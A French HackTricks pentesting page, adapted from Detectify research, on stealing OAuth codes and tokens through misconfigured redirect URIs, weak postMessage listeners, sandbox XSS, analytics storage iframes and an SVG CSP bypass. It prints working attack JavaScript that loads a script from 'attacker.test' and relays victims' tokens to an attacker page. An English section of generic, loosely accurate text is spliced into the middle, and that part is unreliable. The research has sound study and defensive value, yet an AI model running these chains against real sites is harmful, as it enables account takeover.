hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md
2023-06-03 13:10:46 +00:00

740 lines
46 KiB
Markdown

# OAuth - Happy Paths, XSS, Iframes & Post Messages pour divulguer des valeurs de code et d'état
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Ce contenu a été extrait de** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)****
## Explication des différentes danses OAuth
### Types de réponse
Tout d'abord, il existe différents types de réponse que vous pouvez utiliser dans la danse OAuth. Ces réponses accordent le **jeton pour se connecter en tant qu'utilisateur ou les informations nécessaires pour le faire**.
Les trois plus courants sont :
1. **`code` + `state`**. Le **code** est utilisé pour **appeler le serveur du fournisseur OAuth** pour obtenir un jeton. Le paramètre **state** est utilisé pour vérifier que **l'utilisateur correct effectue l'appel**. Il incombe au client OAuth de valider le paramètre d'état avant de faire l'appel côté serveur au fournisseur OAuth.
2. **`id_token`**. Est un jeton Web JSON **(JWT) signé** à l'aide d'un certificat public du fournisseur OAuth pour vérifier que l'identité fournie est bien celle qu'elle prétend être.
3. **`token`**. Est un **jeton d'accès** utilisé dans l'API du fournisseur de services.
### Modes de réponse
Il existe différents modes que le flux d'autorisation pourrait utiliser pour fournir les codes ou jetons au site Web dans la danse OAuth, voici quatre des plus courants :
1. **Query**. Envoi de paramètres de requête en tant que redirection vers le site Web (`https://example.com/callback?code=xxx&state=xxx`). Utilisé pour `code+state`. Le **code** ne peut être **utilisé qu'une seule fois** et vous avez besoin du **secret client OAuth** pour **acquérir un jeton d'accès** lors de l'utilisation du code.&#x20;
1. [Ce mode n'est pas recommandé pour les jetons](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token) car **les jetons peuvent être utilisés plusieurs fois et ne doivent pas se retrouver dans les journaux du serveur ou similaires**. La plupart des fournisseurs OAuth ne prennent pas en charge ce mode pour les jetons, uniquement pour le code. Exemples :
* `response_mode=query` est utilisé par Apple.
* `response_type=code` est utilisé par Google ou Facebook.
2. **Fragment**. Utilisation d'une **redirection de fragment** (`https://example.com/callback#access_token=xxx`). Dans ce mode, la partie fragment de l'URL ne se retrouve dans aucun journal du serveur et ne peut être atteinte que côté client à l'aide de javascript. Ce mode de réponse est utilisé pour les jetons. Exemples :
* `response_mode=fragment` est utilisé par Apple et Microsoft.
* `response_type` contient `id_token` ou `token` et est utilisé par Google, Facebook, Atlassian et d'autres.
3. **Web-message**. Utilisation de **postMessage vers une origine fixe du site Web** :\
`postMessage('{"access_token":"xxx"}','https://example.com')`\
Si elle est prise en charge, elle peut souvent être utilisée pour tous les types de réponse différents. Exemples :
* `response_mode=web_message` est utilisé par Apple.
* `redirect_uri=storagerelay://...` est utilisé par Google.
* `redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...` est utilisé par Facebook.
4. **Form-post**. Utilisation d'un envoi de formulaire vers une `redirect_uri` valide, une **requête POST régulière est renvoyée au site Web**. Cela peut être utilisé pour le code et les jetons. Exemples :
* `response_mode=form_post` est utilisé par Apple.
* `ux_mode=redirect&login_uri=https://example.com/callback` est utilisé par Google Sign-In (GSI).
## Casser intentionnellement `state` <a href="#break-state-intentionally" id="break-state-intentionally"></a>
La spécification OAuth recommande un paramètre `state` en combinaison avec un `response_type=code` pour s'assurer que l'utilisateur qui a initié le flux est également celui qui utilise le code après la danse OAuth pour émettre un jeton.
Cependant, si la **valeur de `state` est invalide**, le **`code` ne sera pas consommé** car c'est la **responsabilité du site Web (la dernière) de valider l'état**. Cela signifie que si un attaquant peut envoyer un lien de flux de connexion à une victime contaminée avec un `state` valide de l'attaquant, la danse OAuth échouera pour la victime et le `code` ne sera jamais envoyé au fournisseur OAuth. Le code sera toujours possible à utiliser si l'attaquant peut l'obtenir.
1. L'attaquant démarre un flux de connexion sur le site Web en utilisant "Se connecter avec X".
2. L'attaquant utilise la valeur `state` et construit un lien pour que la victime se connecte avec le fournisseur OAuth mais avec l'état de l'attaquant.
3. La victime se connecte avec le lien et est redirigée vers le site Web.
4. Le site Web valide l'état pour la victime et arrête le traitement du flux de connexion car ce n'est
```
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
```
redirigera vers `https://example.com/callback?code=xxx&state=yyy`. Mais:
```
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
```
redirigera vers `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
La même idée s'applique à Apple si vous utilisez:
```
https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
```
vous serez redirigé vers `https://example.com/callback?code=xxx&state=yyy`, mais:
```
https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
```
Vous serez redirigé vers `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
## Chemins Non-Heureux
L'auteur de la recherche a appelé **chemins non-heureux les URL erronées où l'utilisateur se connecte via OAuth**. Cela est utile car si le client reçoit le jeton ou un état+code valide **mais qu'il n'atteint pas la page attendue**, cette **information ne sera pas correctement consommée** et si l'attaquant trouve un moyen d'**exfiltrer cette information** du "chemin non-heureux", il pourra **prendre le contrôle du compte**.
Par défaut, le flux OAuth atteindra le chemin attendu, cependant, il pourrait y avoir des **mauvaises configurations potentielles** qui pourraient permettre à un attaquant de **créer une demande OAuth initiale spécifique** qui fera que l'utilisateur atteindra un chemin non-heureux après s'être connecté.
### Incompatibilités d'URI de redirection
Ces **mauvaises configurations** "communes" ont été trouvées dans l'**URL de redirection** de la communication OAuth.
La [**spécification**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1) **** indique strictement que l'URL de redirection doit être strictement comparée à celle définie, ne permettant pas de modifications autres que l'apparition ou non du port. Cependant, certains points d'extrémité permettaient certaines modifications :
### Ajout de chemin d'URI de redirection
Certains fournisseurs OAuth **permettent l'ajout de données supplémentaires** au chemin pour `redirect_uri`. Cela enfreint également la spécification de la même manière que pour "Changement de cas d'URI de redirection". Par exemple, en ayant un URI de redirection `https://example.com/callback`, en envoyant :
```
response_type=id_token&
redirect_uri=https://example.com/callbackxxx
```
### Ajout de paramètres de redirection-uri
Certains fournisseurs OAuth **permettent l'ajout de paramètres de requête ou de fragment supplémentaires** à l'URI de redirection. Vous pouvez utiliser cela en déclenchant un chemin non-happy en fournissant les mêmes paramètres qui seront ajoutés à l'URL. Par exemple, en ayant une URI de redirection `https://example.com/callback`, en envoyant :
```
response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26
```
Le résultat dans ces cas serait une redirection vers `https://example.com/callback?code=xxx&code=real-code`. Selon le site web recevant **plusieurs paramètres avec le même nom, cela pourrait également déclencher un chemin non-happy**. La même chose s'applique à `token` et `id_token`:
```
response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26
```
### Chemins heureux OAuth, XSS, iframes et messages POST pour divulguer des valeurs de code et d'état
## Restes ou mauvaises configurations de redirect-uri
En collectant toutes les URL de connexion contenant les valeurs `redirect_uri`, je pourrais également tester si d'autres valeurs de redirect-uri étaient également valides. Sur les 125 flux de connexion différents de Google que j'ai enregistrés à partir des sites Web que j'ai testés, 5 sites Web avaient également la page de démarrage comme `redirect_uri` valide. Par exemple, si `redirect_uri=https://auth.example.com/callback` était celui utilisé, dans ces 5 cas, n'importe lequel de ceux-ci était également valide :
* `redirect_uri=https://example.com/`
* `redirect_uri=https://example.com`
* `redirect_uri=https://www.example.com/`
* `redirect_uri=https://www.example.com`
Cela était particulièrement intéressant pour les sites Web qui utilisaient réellement `id_token` ou `token`, car `response_type=code` aura toujours le fournisseur OAuth validant le `redirect_uri` dans la dernière étape de la danse OAuth lors de l'acquisition d'un jeton.
## Gadget 1 : Écouteurs postMessage avec vérification d'origine faible ou inexistante qui divulguent l'URL
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-1-1024x582.png)
**Dans cet exemple, le dernier chemin non heureux où le jeton/code était envoyé envoyait un message de demande POST divulguant location.href.**\
Un exemple était un SDK d'analyse pour un site populaire qui était chargé sur des sites Web :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example1.png)
Ce SDK exposait un écouteur postMessage qui envoyait le message suivant lorsque le type de message correspondait :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example2.png)
En envoyant un message à partir d'une origine différente :
```javascript
openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
```
Un message de réponse apparaîtrait dans la fenêtre qui a envoyé le message contenant `location.href` du site web :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example3.png)
Le flux qui pourrait être utilisé dans une attaque dépendait de la façon dont les codes et les jetons étaient utilisés pour le flux de connexion, mais l'idée était la suivante :
### **Attaque**
1. L'attaquant envoie à la victime un **lien préparé** qui a été préparé pour **résulter en un chemin non heureux** dans la danse OAuth.
2. La victime **clique** sur le lien. Une nouvelle fenêtre s'ouvre avec un **flux de connexion** avec l'un des fournisseurs OAuth du site web qui est exploité.
3. Le chemin non heureux est déclenché sur le site web qui est exploité, le **listener postMessage vulnérable est chargé sur la page sur laquelle la victime a atterri, toujours avec le code ou les jetons dans l'URL**.
4. L'**onglet original** envoyé par l'attaquant envoie une série de **postMessages** à la nouvelle fenêtre avec le site web pour obtenir le listener postMessage pour divulguer l'URL actuelle.
5. L'onglet original envoyé par l'attaquant **écoute ensuite le message qui lui est envoyé**. Lorsque l'URL revient dans un message, le **code et le jeton sont extraits** et envoyés à l'attaquant.
6. **L'attaquant se connecte en tant que victime** en utilisant le code ou le jeton qui a fini sur le chemin non heureux.
## Gadget 2 : XSS sur un domaine sandbox/tiers qui obtient l'URL
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-2-1024x582.png)
&#x20;
## **Gadget 2 : exemple 1, vol de window.name à partir d'un iframe sandbox**
Celui-ci avait un **iframe** chargé sur la **page où la danse OAuth s'est terminée**. Le **nom** de l'**iframe** était une **version JSON-stringifiée de l'objet `window.location`**. C'est une ancienne façon de transférer des données entre domaines, car la page dans l'iframe peut obtenir son propre `window.name` défini par le parent :
```javascript
i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)
```
Le domaine chargé dans l'**iframe avait également une XSS simple**:
```
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
```
### Attaque
Si vous avez un **XSS** sur un **domaine** dans une fenêtre, cette fenêtre peut alors **atteindre d'autres fenêtres de la même origine** s'il y a une relation parent/enfant/opener entre les fenêtres.
Cela signifie qu'un attaquant pourrait **exploiter le XSS pour charger un nouvel onglet** avec le **lien OAuth** créé qui **se terminera** dans le **chemin** qui **charge** l'**iframe avec le jeton dans le nom**. Ensuite, à partir de la page exploitée par XSS, il sera possible de **lire le nom de l'iframe** car il a un **opener sur la page parente des iframes** et de l'exfiltrer.
Plus précisément :
1. Créez une page malveillante qui intègre une iframe du sandbox avec le XSS chargeant mon propre script :
```html
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
x=createElement('script'),
x.src='//attacker.test/inject.js',
document.body.appendChild(x);"
style="border:0;width:500px;height:500px"></iframe></div>
```
2. Dans mon script chargé dans le sandbox, j'ai remplacé le contenu par le lien à utiliser pour la victime :
```javascript
document.body.innerHTML =
'<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Cliquez ici pour détourner le jeton</a>';
```
J'ai également démarré un script dans un intervalle pour vérifier si le lien était ouvert et si l'iframe que je voulais atteindre était là pour obtenir le `window.name` défini sur l'iframe avec la même origine que l'iframe sur la page de l'attaquant :
```javascript
x = setInterval(function() {
if(parent.window.b &&
parent.window.b.frames[0] &&
parent.window.b.frames[0].window &&
parent.window.b.frames[0].window.name) {
top.postMessage(parent.window.b.frames[0].window.name, '*');
parent.window.b.close();
clearInterval(x);
}
}, 500);
```
3. La page de l'attaquant peut alors simplement écouter le message que nous venons d'envoyer avec le `window.name` :
```html
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'Nous avons volé le jeton : ' + e.data;
}
});
</script>
```
## **Gadget 2 : exemple 2, iframe avec XSS + vérification de l'origine parentale**
Le deuxième exemple était une **iframe** chargée sur le **chemin non heureux** avec un XSS **utilisant postMessage**, mais les **messages n'étaient autorisés que depuis la fenêtre `parent`** qui l'a chargé. Le **`location.href` a été envoyé à l'iframe lorsqu'elle a demandé `initConfig`** dans un message à la fenêtre `parent`.
La fenêtre principale a chargé l'iframe comme ceci :
```html
<iframe src="https://challenge-iframe.example.com/"></iframe>
```
# OAuth Happy Paths: XSS, iframes and post messages to leak code and state values
## Introduction
In this section we will see how to exploit some happy paths of OAuth to leak code and state values. We will use XSS, iframes and post messages to achieve this.
## OAuth Happy Paths
### Authorization Code Grant
#### Authorization Request
The authorization request is the first step in the Authorization Code Grant flow. It is sent by the client to the authorization server and includes the following parameters:
- `response_type`: This parameter must be set to `code`.
- `client_id`: The client identifier issued to the client during the registration process.
- `redirect_uri`: The URI to which the authorization server will send the user-agent back once access is granted or denied.
- `scope`: The scope of the access request.
- `state`: An opaque value used by the client to maintain state between the request and callback.
#### Authorization Response
The authorization server responds to the authorization request by returning an authorization code. The authorization code is a temporary code that the client will exchange for an access token.
### Exploiting the Authorization Request
#### XSS
An attacker can inject an XSS payload in the `state` parameter of the authorization request. When the authorization server sends the `state` parameter back to the client, the XSS payload will be executed in the context of the client's domain.
#### Iframes
An attacker can use an iframe to load the authorization request. The iframe can be hidden and the user will not notice that the authorization request has been sent. The attacker can then use post messages to communicate with the iframe and extract the authorization code and state values.
#### Post Messages
An attacker can use post messages to communicate with the authorization server and extract the authorization code and state values. The attacker can use an iframe to load the authorization request and then use post messages to extract the authorization code and state values.
## Conclusion
In this section we have seen how to exploit some happy paths of OAuth to leak code and state values. We have used XSS, iframes and post messages to achieve this. It is important to note that these attacks can be prevented by implementing proper input validation and output encoding.
```html
<script>
window.addEventListener('message', function (e) {
if (e.source !== window.parent) {
// not a valid origin to send messages
return;
}
if (e.data.type === 'loadJs') {
loadScript(e.data.jsUrl);
} else if (e.data.type === 'initConfig') {
loadConfig(e.data.config);
}
});
</script>
```
### Attaque
Dans ce cas, l'attaquant charge un iframe avec la page vulnérable Post-message XSS et exploite la XSS pour charger du JS arbitraire. Ce JS ouvre un onglet avec le lien OAuth. Après la connexion, la page finale contient le jeton dans l'URL et a chargé un iframe (l'iframe vulnérable Post-message XSS).
Ensuite, le JS arbitraire (de la XSS exploitée) a un ouvreur pour cet onglet, donc il accède à l'iframe et le fait demander au parent le `initConfig` (qui contient l'URL avec le jeton). La page parente le donne à l'iframe, qui est également commandé pour le divulguer.
Dans ce cas, je pourrais utiliser une méthode similaire à l'exemple précédent :
1. Créer une page malveillante qui intègre un iframe du sandbox, attacher un `onload` pour déclencher un script lorsque l'iframe est chargé.
```html
<div id="leak"><iframe
id="i" name="i"
src="https://challenge-iframe.example.com/"
onload="run()"
style="border:0;width:500px;height:500px"></iframe></div>
```
2. Puisque la page malveillante est alors le parent de l'iframe, elle peut envoyer un message à l'iframe pour charger notre script dans l'origine du sandbox en utilisant `postMessage (XSS)` :
```html
<script>
function run() {
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
}
</script>
```
3. Dans mon script chargé dans le sandbox, j'ai remplacé le contenu par le lien pour la victime :
```javascript
document.body.innerHTML = '<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Cliquez ici pour détourner le jeton</a>';
```
J'ai également démarré un script dans un intervalle pour vérifier si le lien était ouvert et si l'iframe que je voulais atteindre était là, pour exécuter du javascript à l'intérieur de celui-ci depuis mon iframe vers la fenêtre principale. J'ai ensuite attaché un écouteur de postMessage qui a transmis le message à mon iframe dans la fenêtre malveillante :
```javascript
x = setInterval(function() {
if(b && b.frames[1]) {
b.frames[1].eval(
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
'top.postMessage({type:'initConfig'},"*")'
)
clearInterval(x)
}
}, 500);
```
4. La page de l'attaquant qui avait l'iframe chargé peut alors écouter le message que j'ai envoyé depuis le proxy de l'écouteur postMessage injecté dans l'iframe de la fenêtre principale :
```html
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'Nous avons volé le jeton : ' + JSON.stringify(e.data);
}
});
</script>
```
## Gadget 3 : Utilisation d'API pour récupérer une URL hors limites
![](https://labs.detectify.com/wp-content/uploads/2022/06/Gadget-3--1024x582.png)
Ce gadget s'est avéré être le plus amusant. Il y a quelque chose de satisfaisant à envoyer la victime quelque part et à récupérer des données sensibles à partir d'un emplacement différent.
## **Gadget 3 : exemple 1, iframe de stockage sans vérification d'origine**
Le premier exemple utilisait un service externe pour les données de suivi. Ce service a ajouté un "iframe de stockage" :
```html
<iframe
id="tracking"
name="tracking"
src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>
```
La fenêtre principale communiquerait avec cet iframe en utilisant postMessage pour envoyer des données de suivi qui seraient enregistrées dans le localStorage de l'origine où se trouvait `storage.html`:
```javascript
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
```
La fenêtre principale pourrait également récupérer ce contenu:
```javascript
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
```
Lorsque l'iframe a été chargée lors de l'initialisation, une clé a été enregistrée pour la dernière position de l'utilisateur en utilisant `location.href`:
```javascript
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
```
Si vous pouviez parler avec cette origine d'une manière ou d'une autre et la convaincre de vous envoyer le contenu, le `location.href` pourrait être récupéré à partir de ce stockage. Le postMessage-listener pour le service avait une liste de blocage et une liste d'autorisation d'origines. Il semble que le service d'analyse ait permis au site web de définir quelles origines autoriser ou refuser.
```javascript
var blockList = [];
var allowList = [];
var syncListeners = [];
window.addEventListener('message', function(e) {
// If there's a blockList, check if origin is there and if so, deny
if (blockList && blockList.indexOf(e.origin) !== -1) {
return;
}
// If there's an allowList, check if origin is there, else deny
if (allowList && allowList.indexOf(e.origin) == -1) {
return;
}
// Only parent can talk to it
if (e.source !== window.parent) {
return;
}
handleMessage(e);
});
function handleMessage(e) {
if (data.type === 'sync') {
syncListeners.push({source: e.source, origin: e.origin})
} else {
...
}
window.addEventListener('storage', function(e) {
for(var i = 0; i < syncListeners.length; i++) {
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
}
}
```
De plus, si vous aviez une origine valide basée sur la `allowList`, vous pourriez également demander une synchronisation, ce qui vous donnerait toutes les modifications apportées au localStorage dans cette fenêtre envoyées lorsque celles-ci ont été effectuées.
### Attaque
Sur le site web qui avait ce stockage chargé sur le chemin non-happy de la danse OAuth, aucune origine de la `allowList` n'était définie; **cela permettait à n'importe quelle origine de parler avec le listener postMessage** si l'origine était le `parent` de la fenêtre :
1. J'ai créé une page malveillante qui a intégré un iframe du conteneur de stockage et a attaché un onload pour déclencher un script lorsque l'iframe est chargé.
```html
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/storage.html"
onload="run()"></iframe></div>
```
2. Étant donné que la page malveillante était maintenant le parent de l'iframe, et qu'aucune origine n'était définie dans la `allowList`, la page malveillante pouvait envoyer des messages à l'iframe pour dire au stockage d'envoyer des messages pour toutes les mises à jour du stockage. Je pouvais également ajouter un écouteur à la page malveillante pour écouter toutes les mises à jour de synchronisation provenant du stockage :
```html
<script>
function run() {
i.postMessage({type:'sync'}, '*')
}
window.addEventListener('message', function (e) {
if (e.data && e.data.type === 'sync') {
document.getElementById('leak').innerText = 'Nous avons volé le jeton : ' + JSON.stringify(e.data);
}
});
</script>
```
3. La page malveillante contiendrait également un lien régulier pour que la victime clique :
```html
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
target="_blank">Cliquez ici pour pirater le jeton</a>';
```
4. La victime cliquerait sur le lien, passerait par la danse OAuth, et finirait sur le chemin non-happy chargeant le script de suivi et l'iframe de stockage. L'iframe de stockage reçoit une mise à jour de `last-url`. L'événement `window.storage` déclencherait dans l'iframe de la page malveillante puisque le localStorage a été mis à jour, et la page malveillante qui recevait maintenant des mises à jour chaque fois que le stockage changeait recevrait un postMessage avec l'URL actuelle de la victime :
<figure><img src="https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example2.png" alt=""><figcaption></figcaption></figure>
## **Gadget 3: exemple 2, mélange de clients dans CDN - DIY stockage-SVG sans vérification d'origine**
Puisque le service d'analyse lui-même avait une prime de bug, j'étais également intéressé à voir si je pouvais trouver un moyen de divulguer des URL également pour les sites web qui avaient configuré des origines appropriées pour l'iframe de stockage.
Lorsque j'ai commencé à chercher le domaine `cdn.analytics.example.com` en ligne sans la partie client, j'ai remarqué que ce CDN contenait également des images téléchargées par les clients du service :
```
https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png
```
J'ai également remarqué que des fichiers SVG étaient servis en ligne en tant que `Content-type: image/svg+xml` sur ce CDN:
```
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
```
Je me suis inscrit en tant qu'utilisateur d'essai sur le service et j'ai téléchargé ma propre ressource, qui est également apparue sur le CDN :
```
https://cdn.analytics.example.com/img/customer94342/tiger.svg
```
La partie intéressante était que, si vous utilisiez ensuite le sous-domaine spécifique au client pour le CDN, l'image était toujours servie. Cette URL a fonctionné:
```
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
```
Cela signifiait que le client avec l'ID #94342 pouvait afficher des fichiers SVG dans le stockage du client #12345.
J'ai téléchargé un fichier SVG avec une charge utile XSS simple :
`https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg`
```html
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>
```
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
Pas génial. Le CDN a ajouté un en-tête `Content-Security-Policy: default-src 'self'` à tout ce qui se trouve sous `img/`. On pouvait également voir que l'en-tête du serveur mentionnait S3 - révélant que le contenu avait été téléchargé dans un bucket S3 :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png)
Une particularité intéressante de S3 est que les répertoires ne sont pas vraiment des répertoires dans S3 ; le chemin avant la clé est appelé un "préfixe". Cela signifie que S3 ne se soucie pas si les `/` sont encodés en URL ou non, il servira toujours le contenu si vous encodez chaque slash dans l'URL. Si je changeais `img/` en `img%2f` dans l'URL, l'image serait toujours résolue. Cependant, dans ce cas, l'en-tête CSP a été supprimé et le XSS a été déclenché :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example6.png)
J'ai ensuite téléchargé un SVG qui créerait la même forme de gestionnaire de stockage et de listener postMessage que le `storage.html` régulier, mais avec une `allowList` vide. Cela m'a permis de faire le même type d'attaque même sur des sites web qui avaient correctement défini les origines autorisées qui pouvaient parler au stockage.
J'ai téléchargé un SVG qui ressemblait à ceci :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
```html
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>
```
Je pourrais alors utiliser la même méthodologie que dans l'exemple #1, mais au lieu d'encadrer `storage.html`, je pourrais simplement encadrer le SVG avec la barre oblique encodée en URL:
```html
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>
```
Comme aucun site web ne serait capable de corriger cela lui-même, j'ai envoyé un rapport au fournisseur d'analyse responsable du CDN à la place :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
L'idée de regarder les bugs de configuration incorrecte chez les tiers était principalement de confirmer qu'il existe plusieurs façons de faire fuiter les jetons et que le tiers avait une prime de bug, ce qui en faisait juste un récepteur différent pour le même type de bug, la différence étant que l'impact était pour tous les clients du service d'analyse. Dans ce cas, le client du tiers avait en fait la capacité de configurer correctement l'outil pour ne pas le faire fuiter de données à l'attaquant. Cependant, étant donné que les données sensibles étaient toujours envoyées au tiers, il était intéressant de voir s'il existait un moyen de contourner complètement la configuration correcte de l'outil par le client.
## **Gadget 3 : exemple 3, API de chat-widget**
Le dernier exemple était basé sur un chat-widget présent sur toutes les pages d'un site web, même les pages d'erreur. Il y avait plusieurs écouteurs postMessage, dont l'un sans vérification d'origine appropriée qui ne vous permettait que de démarrer la fenêtre de chat. Un autre écouteur avait une vérification d'origine stricte pour que le chat-widget reçoive un appel d'initialisation et le jeton d'API de chat actuel qui était utilisé pour l'utilisateur actuel.
```html
<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'launch-chat') {
openChat();
}
});
function openChat() {
...
}
var chatApiToken;
window.addEventListener('message', function(e) {
if (e.origin === 'https://chat-widget.example.com') {
if (e.data.type === 'chat-widget') {
if (e.data.key === 'api-token') {
chatApiToken = e.data.value;
}
if(e.data.key === 'init') {
chatIsLoaded();
}
}
}
});
function chatIsLoaded() {
...
}
</script>
```
Lorsque l'iframe de chat est chargée :
1. Si un jeton d'API de chat existait dans le localStorage du widget de chat, il enverrait le jeton d'API à son parent en utilisant postMessage. S'il n'y avait pas de jeton d'API de chat, il ne ferait rien.
2. Lorsque l'iframe est chargée, elle envoie un postMessage avec `{"type": "chat-widget", "key": "init"}` à son parent.
Si vous avez cliqué sur l'icône de chat dans la fenêtre principale :
1. Si aucun jeton d'API de chat n'avait été envoyé auparavant, le widget de chat en créerait un et le mettrait dans le localStorage de son propre domaine et le postMessage à la fenêtre parent.
2. La fenêtre parent ferait alors un appel API au service de chat. Le point de terminaison de l'API était restreint par CORS au site Web spécifique configuré pour le service. Vous deviez fournir un en-tête `Origin` valide pour l'appel API avec le jeton d'API de chat pour permettre l'envoi de la demande.
3. L'appel API de la fenêtre principale contiendrait `location.href` et l'enregistrerait en tant que "page actuelle" du visiteur avec le jeton d'API de chat. La réponse contiendrait ensuite des jetons pour se connecter à un websocket pour initier la session de chat :
```json
{
"api_data": {
"current_page": "https://example.com/#access_token=test",
"socket_key": "xxxyyyzzz",
...
}
}
```
Dans cet exemple, j'ai réalisé que l'annonce du jeton d'API de chat serait toujours annoncée au parent de l'iframe du widget de chat, et si j'obtenais le jeton d'API de chat, je pourrais simplement faire une demande côté serveur en utilisant le jeton, puis ajouter mon propre en-tête `Origin` artificiel à l'appel API car un en-tête CORS ne concerne que le navigateur. Cela a donné la chaîne suivante :
